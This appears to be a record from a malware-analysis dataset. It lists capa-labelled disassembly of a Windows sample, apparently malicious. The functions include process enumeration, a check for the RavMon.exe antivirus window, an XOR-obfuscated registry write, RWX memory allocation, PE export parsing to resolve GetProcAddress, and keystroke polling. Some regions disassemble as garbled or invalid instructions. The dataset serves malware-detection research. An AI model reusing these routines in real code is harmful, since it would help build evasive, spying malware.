joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016a2
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
nop
nop
mov esi, str.3720
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
push str.RavMon.exe
movsw word es:[edi], word [esi]
call fcn.004017a5
mov ebx, eax
pop ecx
test ebx, ebx
je 0x401729
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov edi, dword [sym.imp.USER32.dll_GetWindow]
push 5
push eax
call edi
mov esi, eax
test esi, esi
je 0x401729
lea eax, [ebp - 0x1c]
push 0x10
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x401711
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp ebx, dword [ebp - 4]
je 0x401716
push 2
push esi
jmp 0x4016d8
push 0
push 0x9c5b
push 0x111
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4017a5
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
nop
nop
nop
push 0x49
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
mov dword [ebp - 0x128], ebx
push ebx
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call esi
pop ecx
test eax, eax
pop ecx
je 0x40181f
lea eax, [ebp - 0x128]
push eax
push edi
call main
test eax, eax
je 0x401825
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
jmp 0x4017fa
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x401833
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
nop
nop
nop
and byte [ebp - 7], 0
lea eax, [ebp - 0x34]
push 0x2e
push eax
lea eax, [ebp - 0xb4]
mov byte [ebp - 0x34], 0xc7
push eax
mov byte [ebp - 0x33], 0xfb
mov byte [ebp - 0x32], 0xf2
mov byte [ebp - 0x31], 0xe0
mov byte [ebp - 0x30], 0xc3
mov byte [ebp - 0x2f], 0xf5
mov byte [ebp - 0x2e], 0xe6
mov byte [ebp - 0x2d], 0xf1
mov byte [ebp - 0x2c], 0xc8
mov byte [ebp - 0x2b], 0xd9
mov byte [ebp - 0x2a], 0xfd
mov byte [ebp - 0x29], 0xf7
mov byte [ebp - 0x28], 0xe6
mov byte [ebp - 0x27], 0xfb
mov byte [ebp - 0x26], 0xe7
mov byte [ebp - 0x25], 0xfb
mov byte [ebp - 0x24], 0xf2
mov byte [ebp - 0x23], 0xe0
mov byte [ebp - 0x22], 0xc8
mov byte [ebp - 0x21], 0xc3
mov byte [ebp - 0x20], 0xfd
mov byte [ebp - 0x1f], 0xfa
mov byte [ebp - 0x1e], 0xf0
mov byte [ebp - 0x1d], 0xfb
mov byte [ebp - 0x1c], 0xe3
mov byte [ebp - 0x1b], 0xe7
mov byte [ebp - 0x1a], 0xc8
mov byte [ebp - 0x19], 0xd7
mov byte [ebp - 0x18], 0xe1
mov byte [ebp - 0x17], 0xe6
mov byte [ebp - 0x16], 0xe6
mov byte [ebp - 0x15], 0xf1
mov byte [ebp - 0x14], 0xfa
mov byte [ebp - 0x13], 0xe0
mov byte [ebp - 0x12], 0xc2
mov byte [ebp - 0x11], 0xf1
mov byte [ebp - 0x10], 0xe6
mov byte [ebp - 0xf], 0xe7
mov byte [ebp - 0xe], 0xfd
mov byte [ebp - 0xd], 0xfb
mov byte [ebp - 0xc], 0xfa
mov byte [ebp - 0xb], 0xc8
mov byte [ebp - 0xa], 0xc6
mov byte [ebp - 9], 0xc1
mov byte [ebp - 8], 0xda
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0xb4]
push 0x2d
push eax
call fcn.00401cb6
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0xb4]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401961
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x401ac8
Capabilities:
Allocate or change rwx memory

Disassembly:
push pe_nt_image_headers32
push 0x1000
push dword [esp + 0x10]
push 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
ret

Function at 0x401cb6
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x401cce
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 0x94
inc ecx
cmp ecx, dword [esp + 8]
jl 0x401cbe
ret
Function at 0x402f68
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, edx
mov eax, dword [eax]
call fcn.00402f20
mov eax, ebx
pop ebx
jne 0x402f7d
pop ecx
jmp 0x402950
ret

Function at 0x4037e4
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, 0x44d4a4
mov esi, 0x44d038
mov edi, 0x44d03c
cmp byte [ebx + 0x24], 0
jne 0x403813
cmp dword [edi], 0
je 0x403813
mov edx, dword [edi]
mov eax, edx
xor edx, edx
mov dword [edi], edx
mov ebp, eax
call ebp
cmp dword [edi], 0
jne 0x403802
cmp dword [0x44d040], 0
je 0x40385a
call fcn.00403760
cmp byte [0x44d048], 0
je 0x403840
mov edx, 0x44c028
mov eax, 0x44d21c
call fcn.00405a2c
call fcn.004059af
jmp 0x403853
push 0
push 0x44c048
push 0x44c028
push 0
call sub.user32.dll_MessageBoxA
xor eax, eax
mov dword [0x44d040], eax
cmp byte [ebx + 0x24], 2
jne 0x40386a
cmp dword [esi], 0
jne 0x40386a
xor eax, eax
mov dword [ebx + 0xc], eax
call fcn.00403634
cmp byte [ebx + 0x24], 1
jbe 0x40387a
cmp dword [esi], 0
je 0x403897
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x403897
call fcn.004053e8
mov eax, dword [ebx + 0x10]
mov edx, dword [eax + 0x10]
cmp edx, dword [eax + 4]
je 0x403897
push edx
call sub.kernel32.dll_FreeLibrary
call fcn.0040360c
cmp byte [ebx + 0x24], 1
jne 0x4038a5
call dword [ebx + 0x28]
cmp byte [ebx + 0x24], 0
je 0x4038b0
call fcn.004037b0
cmp dword [ebx], 0
jne 0x4038bd
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebx]
push esi
mov esi, eax
mov edi, ebx
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
pop esi
jmp 0x40385a

Function at 0x403f1c
Capabilities:
Terminate process

Disassembly:
test edx, edx
je fcn.00403ee0
mov ecx, dword [edx - 4]
shr ecx, 1
je fcn.00403ee0
push ecx
push edx
push eax
call sub.oleaut32.dll_SysReAllocStringLen
test eax, eax
je 0x403ec8
ret

Function at 0x403fc4
Capabilities:
Terminate process

Disassembly:
mov al, 1
jmp fcn.004027a8
test ecx, ecx
je fcn.00403ee0
push eax
push ecx
push edx
call sub.oleaut32.dll_SysAllocStringLen
test eax, eax
je 0x403ec8
pop edx
push dword [edx]
mov dword [edx], eax
call sub.oleaut32.dll_SysFreeString
ret

Function at 0x40415c
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
xor ecx, ecx
cmp al, 0xa
je 0x40419b
cmp al, 0xb
je 0x40419b
cmp al, 0xc
je 0x4041a5
cmp al, 0xd
je 0x4041b8
cmp al, 0xe
je 0x4041d6
cmp al, 0xf
je 0x40419b
cmp al, 0x11
je 0x40419b
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.004027a8
mov dword [ebx], ecx
add ebx, 4
dec edi
jg 0x40419b
jmp 0x4041ea
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
add ebx, 0x10
dec edi
jg 0x4041a5
jmp 0x4041ea
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call 0x40415c
dec edi
jg 0x4041bb
pop ebp
jmp 0x4041ea
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00404130
dec edi
jg 0x4041d9
pop ebp
pop edi
pop esi
pop ebx
ret
mov ecx, 1
jmp 0x40415c
Function at 0x4041f0
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
xor ecx, ecx
cmp al, 0xa
je 0x40419b
cmp al, 0xb
je 0x40419b
cmp al, 0xc
je 0x4041a5
cmp al, 0xd
je 0x4041b8
cmp al, 0xe
je 0x4041d6
cmp al, 0xf
je 0x40419b
cmp al, 0x11
je 0x40419b
mov al, 2
pop edi
pop esi
pop ebx
jmp fcn.004027a8
mov dword [ebx], ecx
add ebx, 4
dec edi
jg 0x40419b
jmp 0x4041ea
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
add ebx, 0x10
dec edi
jg 0x4041a5
jmp 0x4041ea
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call 0x40415c
dec edi
jg 0x4041bb
pop ebp
jmp 0x4041ea
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.00404130
dec edi
jg 0x4041d9
pop ebp
pop edi
pop esi
pop ebx
ret
mov ecx, 1
jmp 0x40415c

Function at 0x404228
Capabilities:
Terminate process

Disassembly:
push eax
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, byte [esi]
mov dl, byte [esi + 1]
cmp al, 0xa
je 0x40426f
cmp al, 0xb
je 0x404289
cmp al, 0xc
je 0x4042a0
cmp al, 0xd
je 0x4042af
cmp al, 0xe
je 0x4042cd
cmp al, 0xf
je 0x4042e3
cmp al, 0x11
je 0x4042f2
pop edi
pop esi
pop ebx
pop eax
mov al, 2
jmp fcn.004027a8
cmp ecx, 1
mov eax, ebx
jg 0x404280
call fcn.00403914
jmp 0x404301
mov edx, ecx
call fcn.00403938
jmp 0x404301
cmp ecx, 1
mov eax, ebx
jg 0x404297
call fcn.00403ee0
jmp 0x404301
mov edx, ecx
call fcn.00403ef8
jmp 0x404301
mov eax, ebx
add ebx, 0x10
call fcn.00404ca8
dec edi
jg 0x4042a0
jmp 0x404301
push ebp
mov ebp, edx
mov edx, dword [esi + ebp + 0xa]
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov ecx, dword [esi + ebp + 6]
mov edx, dword [edx]
call fcn.00404228
dec edi
jg 0x4042b2
pop ebp
jmp 0x404301
push ebp
mov ebp, edx
mov eax, ebx
add ebx, dword [esi + ebp + 2]
mov edx, esi
call fcn.004041fc
dec edi
jg 0x4042d0
pop ebp
jmp 0x404301
mov eax, ebx
add ebx, 4
call fcn.004054b0
dec edi
jg 0x4042e3
jmp 0x404301
mov eax, ebx
mov edx, esi
add ebx, 4
call fcn.0040504c
dec edi
jg 0x4042f2
pop edi
pop esi
pop ebx
pop eax
ret

Function at 0x404308
Capabilities:
Terminate process

Disassembly:
mov ecx, 1
jmp fcn.00404228
Function at 0x404314
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
xor eax, eax
mov al, byte [ecx + 1]
lea edi, [ecx + eax + 0xa]
mov ebp, dword [edi - 4]
xor eax, eax
mov ecx, dword [edi - 8]
push ecx
mov ecx, dword [edi + 4]
sub ecx, eax
jle 0x404340
mov edx, eax
add eax, esi
add edx, ebx
call fcn.00402834
mov eax, dword [edi + 4]
mov edx, dword [edi]
mov edx, dword [edx]
mov cl, byte [edx]
cmp cl, 0xa
je 0x40437f
cmp cl, 0xb
je 0x404390
cmp cl, 0xc
je 0x4043a1
cmp cl, 0xd
je 0x4043b2
cmp cl, 0xe
je 0x4043d2
cmp cl, 0xf
je 0x4043eb
cmp cl, 0x11
je 0x4043fc
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp fcn.004027a8
mov edx, dword [esi + eax]
add eax, ebx
call fcn.00403968
mov eax, 4
jmp 0x40440d
mov edx, dword [esi + eax]
add eax, ebx
call fcn.00403f1c
mov eax, 4
jmp 0x40440d
lea edx, [esi + eax]
add eax, ebx
call fcn.004046d8
mov eax, 0x10
jmp 0x40440d
xor ecx, ecx
mov cl, byte [edx + 1]
push dword [edx + ecx + 2]
push dword [edx + ecx + 6]
mov ecx, dword [edx + ecx + 0xa]
mov ecx, dword [ecx]
lea edx, [esi + eax]
add eax, ebx
call fcn.00404430
pop eax
jmp 0x40440d
xor ecx, ecx
mov cl, byte [edx + 1]
mov ecx, dword [edx + ecx + 2]
push ecx
mov ecx, edx
lea edx, [esi + eax]
add eax, ebx
call fcn.00404314
pop eax
jmp 0x40440d
mov edx, dword [esi + eax]
add eax, ebx
call fcn.004054c8
mov eax, 4
jmp 0x40440d
mov ecx, edx
mov edx, dword [esi + eax]
add eax, ebx
call fcn.00405088
mov eax, 4
add eax, dword [edi + 4]
add edi, 8
dec ebp
jne 0x40432e
pop ecx
sub ecx, eax
jle 0x404429
lea edx, [ebx + eax]
add eax, esi
call fcn.00402834
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x404430
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov esi, edx
mov edi, ecx
mov ebp, dword [esp + 0x14]
mov cl, byte [edi]
cmp cl, 0xa
je 0x404476
cmp cl, 0xb
je 0x40448d
cmp cl, 0xc
je 0x4044a1
cmp cl, 0xd
je 0x4044b5
cmp cl, 0xe
je 0x4044d6
cmp cl, 0xf
je 0x4044f3
cmp cl, 0x11
je 0x404507
mov al, 2
pop ebp
pop edi
pop esi
pop ebx
jmp fcn.004027a8
mov eax, ebx
mov edx, dword [esi]
call fcn.00403968
add ebx, 4
add esi, 4
dec ebp
jne 0x404476
jmp 0x40451b
mov eax, ebx
mov edx, dword [esi]
call fcn.00403f1c
add ebx, 4
add esi, 4
dec ebp
jne 0x40448d
jmp 0x40451b
mov eax, ebx
mov edx, esi
call fcn.004046d8
add ebx, 0x10
add esi, 0x10
dec ebp
jne 0x4044a1
jmp 0x40451b
xor ecx, ecx
mov cl, byte [edi + 1]
lea edi, [edi + ecx + 2]
mov eax, ebx
mov edx, esi
mov ecx, dword [edi + 8]
push dword [edi + 4]
call fcn.00404430
add ebx, dword [edi]
add esi, dword [edi]
dec ebp
jne 0x4044be
jmp 0x40451b
mov eax, ebx
mov edx, esi
mov ecx, edi
call fcn.00404314
xor eax, eax
mov al, byte [edi + 1]
add ebx, dword [edi + eax + 2]
add esi, dword [edi + eax + 2]
dec ebp
jne 0x4044d6
jmp 0x40451b
mov eax, ebx
mov edx, dword [esi]
call fcn.004054c8
add ebx, 4
add esi, 4
dec ebp
jne 0x4044f3
jmp 0x40451b
mov eax, ebx
mov edx, dword [esi]
mov ecx, edi
call fcn.00405088
add ebx, 4
add esi, 4
dec ebp
jne 0x404507
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x4046d8
Capabilities:
Terminate process

Disassembly:
mov al, 0x10
jmp fcn.004027a8
cmp eax, edx
je 0x40476f
cmp word [eax], 8
jb 0x404710
push eax
push edx
cmp word [eax], 0x100
je 0x404706
cmp word [eax], 0x101
je 0x4046fe
push eax
call sub.oleaut32.dll_VariantClear
jmp 0x40470e
call dword [0x44d3e8]
jmp 0x40470e
add eax, 8
call fcn.00403914
pop edx
pop eax
cmp word [edx], 8
jae 0x404727
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edx + 0xc]
mov dword [eax + 0xc], ecx
ret
cmp word [edx], 0x100
je 0x404742
cmp word [edx], 0x101
jne 0x40475b
push eax
call 0x404716
pop eax
jmp dword [0x44d3f0]
mov edx, dword [edx + 8]
or edx, edx
je 0x404752
mov ecx, dword [edx - 8]
inc ecx
jle 0x404752
mov dword [edx - 8], ecx
mov word [eax], pe_nt_image_headers32
mov dword [eax + 8], edx
ret
mov word [eax], 0
push edx
push eax
call sub.oleaut32.dll_VariantCopyInd
or eax, eax
jne 0x40468c
ret

Function at 0x404ac0
Capabilities:
Terminate process

Disassembly:
cmp word [edx], 0
je fcn.004054b0
cmp word [edx], 0xd
je 0x404b0b
cmp word [edx], 9
je 0x404b0b
cmp word [edx], 0x400d
je 0x404b01
cmp word [edx], 0x4009
je 0x404b01
cmp word [edx], 0x101
jne fcn.00404684
jmp fcn.00404a50
mov edx, dword [edx + 8]
mov edx, dword [edx]
jmp fcn.004054c8
mov edx, dword [edx + 8]
jmp fcn.004054c8

Function at 0x404c6c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x10]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov ebx, eax
lea eax, [ebp - 0x10]
call fcn.00404cb0
xor eax, eax
push ebp
push 0x404c5e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
call dword [0x44d3ec]
mov eax, ebx
lea edx, [ebp - 0x10]
call fcn.00404c6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404c65
lea eax, [ebp - 0x10]
call fcn.00404ca8
ret
cmp word [edx], 0x101
je 0x404c08
cmp word [edx], 0x100
jne fcn.004046d8
cmp word [eax], 8
jb 0x404c91
push eax
push edx
call fcn.00404694
pop edx
pop eax
mov word [eax], 8
add eax, 8
add edx, 8
xor ecx, ecx
mov edx, dword [edx]
mov dword [eax], ecx
jmp fcn.00404024
Function at 0x40a228
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a261
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004039f8
jmp 0x40a26a
mov eax, ebx
mov edx, esi
call fcn.004039ac
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b414
Capabilities:
Contain obfuscated stackstrings

Disassembly:
in al, dx
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0040b0be
push eax
push esi
push dword [ebp + 8]
call fcn.0040b073
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte cs:[ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0040b0be
push eax
push esi
push dword [ebp + 8]
call fcn.0040b073
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040b0be
push eax
push esi
push dword [ebp + 8]
call fcn.0040b073
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040b0ae
call 0x9dc90146
jl 0x40b533
invalid
invalid
Function at 0x40b568
Capabilities:
Inspect section memory permissions

Disassembly:
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
invalid
jmp 0xffc052cf
invalid
inc esi
inc ebp
adc byte [ecx - 0x3a], 0x45
xor dword [ebx - 0x3a], 0xc6628245
inc ebp
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
jp 0x40b530
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
jb 0x40b544
inc ebp
lea edi, [edx - 0x3a]
inc ebp
invalid
jae 0x40b54c
inc ebp
invalid
push edi
mov byte [ebp - 0x70], 0x16
call fcn.0040b0ae
lodsd eax, dword [esi]
xchg dword [ecx - 0x53], esi
lea eax, [ebp - 0x84]
push eax
call fcn.0040b0be
push eax
push esi
push dword [ebp + 8]
call fcn.0040b073
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x40b8a7
jp 0x40b530
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0040b01f
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x40b61e
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.0040b01f
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x40b5eb
call fcn.0040b0ae
xchg edi, eax
push ds
and dh, bh
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x40b89d
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x40b653
cmp dword [eax + 0xc], ebx
je 0x40b6f6
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
invalid

Function at 0x40d0bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp ah, 0xff
inc dword [ebx - 0x37f43]
invalid

Function at 0x40d27c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
dec edx
mov cl, 0xd8
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.0040b0ae
arpl word [ebp - 0x74b63cf2], di
xor al, 0x8b
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x40d29b
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x40d29b
call fcn.0040b0ae
xchg esi, eax
lds eax, [eax]

Function at 0x415ad0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x415ad6
ret
Function at 0x417f3c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x417f8d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x417f74
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x417f64
jmp 0x417f8d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x417f75
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429664
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x429695
je 0x4296ef
sub eax, 7
je 0x4296b6
dec eax
je 0x4296e0
sub eax, 0x17
je 0x429770
jmp 0x4297ae
add eax, 0xffffff00
sub eax, 9
jb 0x42975c
add eax, 0xffffff09
sub eax, 0xb
jb 0x429746
jmp 0x4297ae
mov eax, ebx
call fcn.00439a04
mov edi, eax
test edi, edi
je 0x42980e
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xc8]
test al, al
je 0x429817
jmp 0x42980e
test byte [ebx + 0x44], 0x20
jne 0x429817
jmp 0x42980e
mov edx, esi
mov eax, ebx
call fcn.00426f08
cmp dword [esi + 0xc], 0xffffffff
jne 0x429817
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00406be0
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00425984
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.00429514
test eax, eax
je 0x429817
mov dword [esi + 0xc], 1
jmp 0x429817
mov edx, esi
mov eax, ebx
call fcn.004295d8
test al, al
jne 0x429817
jmp 0x42980e
mov eax, ebx
call fcn.00426574
test al, al
jne 0x429817
jmp 0x42980e
mov eax, ebx
call fcn.0042bbc8
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x42980e
cmp dword [0x44c720], 0
je 0x42980e
mov eax, dword [0x44c720]
cmp ebx, dword [eax + 0x24]
jne 0x42980e
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x44c720]
call fcn.00426e24
jmp 0x42980e
mov eax, dword [0x44d724]
cmp byte [eax + 0x20], 0
je 0x42980e
mov eax, dword [0x44d724]
cmp dword [eax + 0x1c], 0
je 0x42980e
mov eax, dword [esi]
mov edx, dword [0x44d724]
cmp eax, dword [edx + 0x1c]
jne 0x42980e
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.00439918
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb9
call fcn.00402f50
jmp 0x429817
mov edx, esi
mov eax, ebx
call fcn.00426f08
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret